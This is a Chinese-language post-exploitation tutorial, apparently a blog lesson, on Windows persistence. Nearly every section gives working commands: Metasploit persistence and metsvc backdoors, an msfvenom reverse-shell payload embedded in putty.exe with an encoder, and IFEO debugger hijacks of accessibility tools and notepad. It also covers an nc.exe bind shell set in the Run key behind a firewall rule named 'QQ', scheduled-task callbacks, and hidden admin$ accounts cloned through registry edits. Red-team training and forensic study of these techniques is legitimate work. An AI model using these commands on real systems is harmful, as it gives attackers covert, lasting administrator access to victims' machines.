上期讲完了横向移动后,我们拿到了管理员的权限,当我们离开时,下一次要是还想拿到的是管理员的权限呢,难道我们还要继续一波操作提取啥的吗,其实不然,接下来将是最重要的内容,就是我们的权限维持的操作了,对于后渗透阶段都是至关重要。能节约我们渗透的时间,大家要好好复习和巩固啊。
meterpreter中的权限维持技术有两种
persistence(注册表后门)
metsvc的后门(服务后门)
persistence模块(杀软会杀掉)
run persistence -S -U -X -i 5 -p 4444 -r 192.168.231.134 -P windows/meterpreter/reverse_tcp(win10,64位)
windows/meterpreter/reverse_tcp(win7,32位)
这里给大家演示一下persistence模块权限维持的内容。其实就是生成一个脚本和注册表,重启后,就会返回一个会话。这里用win7来做演示吧,虽然说写入注册表了,当重启后还是没有成功。
首先就是用msf生成一个程序,test.exe。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.231.128 lport=4445 -x putty.exe -e x86/shikata_ga_nai -f exe -o test.exe
再将test.exe传入win7中,在msf中监听,这都是老生常谈的东西,大家都要会呀,回到msf中输入
use exploit/multi/handler
set lhost 192.168,231.128
set lport 444
run
这时返回了会话
但这时返回的不是system权限,就不能用这个模块去权限维持,我们能提高权限。
这时,我们使用这个模块进行提权
use exploit/windows/local/bypassuac_eventvwr
我们就成功获取system权限了
接下来进行权限维持
run persistence -S -U -X -i 5 -p 4445 -r 192.168.231.134 -P windows/meterpreter/reverse_tcp
我们可以看到脚本保存在C盘的指定目录下了我们可以查看一下
C:\Users\zhian\AppData\Local\Temp\ALOFCgudR.vbs
shell
dir C:\Users\zhian\AppData\Local\Temp\ALOFCgudR.vbs
我们可以看到已经存在目录中了,我们
再查看一下注册表存在了吗
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\SYuKbjqQvEYN
我们可以看到是已经加入了自启项中了,可能是火绒进行了拦截,所以重启后没有成功。这种模块是在没有杀软的时候使用的,要不然会被杀软杀掉的。我们在win03可以看的更清楚一点。
可以看到已经加入注册表中了,但是也是重启之后使用不成功的,感觉这个模块不是很好用。我们看看下一个模块吧。
metsvc模块(开机自启的服务型后门,msf集成的去啊你先持久化模块,通过服务启动,服务名是meterpreter,执行端口是31337)
run metsvc -h # 模块信息
run metsvc -A # 启动服务
run metsvc -r #移除服务
run metsvc -A
这时,生成一个metsvc服务,这时一个自启的服务
use exploit/multi/handler
set payload windows/metsvc_bind_tcp(就可以监听到端口服务,返回会话了)
这里也可以用一下脚本进行权限维持(返回会话的时候,就执行脚本的内容),攻击手法大致一样,这里就不在演示了
(3)Autorunscript
获取shell的时候自动执行持续化脚本,可以被Autorunscript执行的命令目录在metasploit/scripts/meterpreter
#persistence
use exploit/multi/handler
set payload winodws/meterpreter/reverse_tcp
set lhost 192.168.231.128
set lport 5555
set ExitOnSession false
set AutoRunScript persistence -r 192.168.231.128 -p 5556 -U -X -i 30(这里设置了每隔30秒返回一个会话)
exploit
#metsvc
use exploit/multi/handler
set payload winodws/meterpreter/reverse_tcp
set lhost 192.168.231.128
set lport 5555
set ExitOnSession false
set AutoRunScript metsvc -A
exploit
(系统辅助工具)
后门原理(必须是管理员权限才可以执行)
设计的注册表项为IFEO,默认是管理员权限和system才有权读写
(启用RDP并获得Administrator权限的主机上实现持久化访问)
下面以修改IE启动程序为例,实现运行IE程序但是启动的却是计算器
我来给大家演示一下步骤:
首先,肯定是先获得一个会话。这就是前面通过横向进行的操作了,同时也通过提权获得了最高的权限。
我们在会话中输入shell
解决乱码的问题
chcp 65001
在shell中执行(shell)
REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe” /t REG_SZ /v Debugger /d “C:\Windows\system32\calc.exe” /f(生成计算器)
1)iexplore.exe
打开iexplore.exe程序,就会返回cmd窗口
REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe” /t REG_SZ /v Debugger /d “C:\Windows\system32\cmd.exe” /f(cmd窗口)
(/t 指定类型,/v 净值,/d 指定路径)
我们发现已经写入注册表了,就是下面的iexplore.exe程序
我们找到iexplore.exe程序打开
发现是一个计算器,说明修改成功了。
(2)narrator
挟持讲述人(需要开放远程登录端口rdp,3389)
REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe” /t REG_SZ /v Debugger /d “C:\Windows\system32\cmd.exe” /f(朗读屏幕内容,讲述人)
原理就是,写入注册表后,打开rdp后,进行远程登录后,未知账号和密码的情况下,打开陈述人的窗口,进行应用,就会返回一个cmd窗口,且是最高权限。
我们先返回一个会话,并且获得是最高的权限,system权限
shell后
chcp 65001
我们写入注册表中
REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe” /t REG_SZ /v Debugger /d “C:\Windows\system32\cmd.exe” /f
回到win7查看注册表,发现已经写入了,我们试一下是否成功了。
我们重启一下,看看点击讲述人按钮,是否会返回cmd窗口,或者我们在本地开启远程登录连接试一下,在未知账号和密码的情况下。
我们点击左下角的按钮,点击讲述人
当然这只是测试环节,我们只知道ip情况下,只能远程登录
连接的时候,需要知道计算机的名称和开放3389端口才可以连接。进入之后,同样是一样的结果,而且是最高的权限,就达到了权限维持的效果。
(3)osk
(不适用键盘键入,屏幕键,点击应用)
REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe” /t REG_SZ /v Debugger /d “C:\Windows\system32\cmd.exe” /f(后面的路径可以修改为所留的后门)
我们成功写入了,查看一下效果
我们在后面设置自己留的后门test1.exe
REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe” /t REG_SZ /v Debugger /d “C:\Users\Administrator\Desktop\test1.exe” /f(后门程序,4444)
C:\Users\zhian\Desktop
C:\Users\Administrator\Desktop
发现已经写入了
我们退出会话,重新点击看看,在kali中进行监听,看是否能返回一个会话
实验成功了,当我们点击的时候,就返回了一个会话,以达到权限维持的效果。
(4)utilman
讲述人挟持,弹出的是一个cmd窗口(点击左下角的选项,直接弹出cmd了)
REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe” /t REG_SZ /v Debugger /d “C:\Windows\system32\cmd.exe” /f(可放木马,直接返回会话了)
我们在kali中的会话写入后,我们直接在远程登录那里看一下效果
当我们直接点一下左下角的按钮,就直接弹出cmd窗口了
(5)notepad(打开记事本,编辑关闭后,就执行了木马程序,返回了会话)
REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe” /v GlobalFlag /t REG_DWORD /d 512
reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe” /v ReporttingMode /t REG_DWORD /d 1
关闭文本时打开木马
reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe” /v MonitorProcess /t REG_SZ /d “C:\Users\zhian\Desktop\test.exe”
reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe” /v MonitorProcess /t REG_SZ /d “C:\Users\Administrator\Desktop\test1.exe”
C:\Users\zhian\Desktop\test.exe
C:\Users\Administrator\Desktop\test1.exe
添加成功后,我们看一下是否写入注册表了
写入成功了,我们编译一下,关闭看看
这里如果成功的话,在任务管理器是看的到木马程序的进程的,但是我的看不到,应该是失败了,不过原理就是这样,这里就不演示了。
msf框架提供了一个后渗透模块,课实现自动化的利用粘滞键的权限维持技术。改模块将用cmd替换辅助功能的二进制文件(sethc,osk,disk,ultiman)
use post/windows/manage/sticky_keys
当目标主机的屏幕被锁定时,执行ultiman工具将会打开一个cmd窗口(具有system权限的)
Run(在每次登录时按顺序执行)
(1)nc后门
upload /home/zhian/redteamtools/nc.exe C:\windows\system32
shell
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\run
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\run /v nc /t REG_SZ /d “C:\windows\system32\nc.exe -Ldp 5555 -e cmd.exe”
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\run /v nc
execute -f cmd -i -H(也是直接执行shell的命令,与shell同等效果)
netsh firewall show opmode
netsh firewall add portopening TCP 5555 “QQ” ENABLE ALL(开放TCP的5555端口服务)
shutdown -r -f -t 0(重启)
/home/zhian/redteamtools/
C:\windows\system32
C:\windows\system32
(2)schtasks计划任务
schtasks /create /sc MINUTE /mo 1 /tr C:\Users\Administrator\Desktop\test1.exe /tn/test
(每隔1分钟执行一次)
每隔1分钟执行一次返回一个会话
(3)快捷方式劫持
Window快捷方式包含对系统上安装的软件或文件位置(网络后本地)的引用。快捷方式文件扩展名是.LNK。
C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -c "invoke-item ‘在目标机上的文件的路径’; invoke-item C:\Windows\system32\calc.exe
(4)后门账号(账号隐藏)
net user administrator$ 123@abc /add && net localhost administrators administrator /add
激活Guest账号
net user guest 123@abc && net localhost administrators guest /add
net user Guest /active:yes
创建Guest用户,加入管理员组并激活了
net user
net user admin$ abc@123 /add
net user admin$
创建admin$用户, 表示隐藏的账号
这里显示已经创建好了
激活来宾账号
net user Guest /active:yes
net user
在用户账号中就可以看到admin 账 号 了 , 加 了 账号了,加了 账号了,加了是个隐藏账号,注册表中也可以看到
导出1.reg,2.reg,3.reg,将3.reg的F值内容替换为2.reg中的F值内容,删除admin$账号,然后导入1.reg,2.reg。
从中可以看到有admin用户了,并且是隐藏的用户,net user是看不到的
net user admin$ /add
net user admin$ /del
我们将admin$导出,导出为1.reg。admin对应的是3ec,导出为2.reg
Administrator对应的是1f4,导出为3.reg
我们将2.reg中的F值的内容替换为3.reg中F值的内容。
net user admin$,发现是存在admin用户的
cd Desktop
regedit /s 1.reg
regedit /s 2.reg
查看了一下管理用户,也没有找到amdin
在注册表中就可以看到admin$的账号了,但是在用户账号中没有显示,被隐藏起来了。大家在做溯源的时候可以多留意一下注册表中的内容。
关于Windows的权限维持的内容就到这里吧,内容有点多,就是一些Window工具以及一些脚本的使用,大家可以一个个去尝试一下,毕竟对于以后工作都是很有帮助的。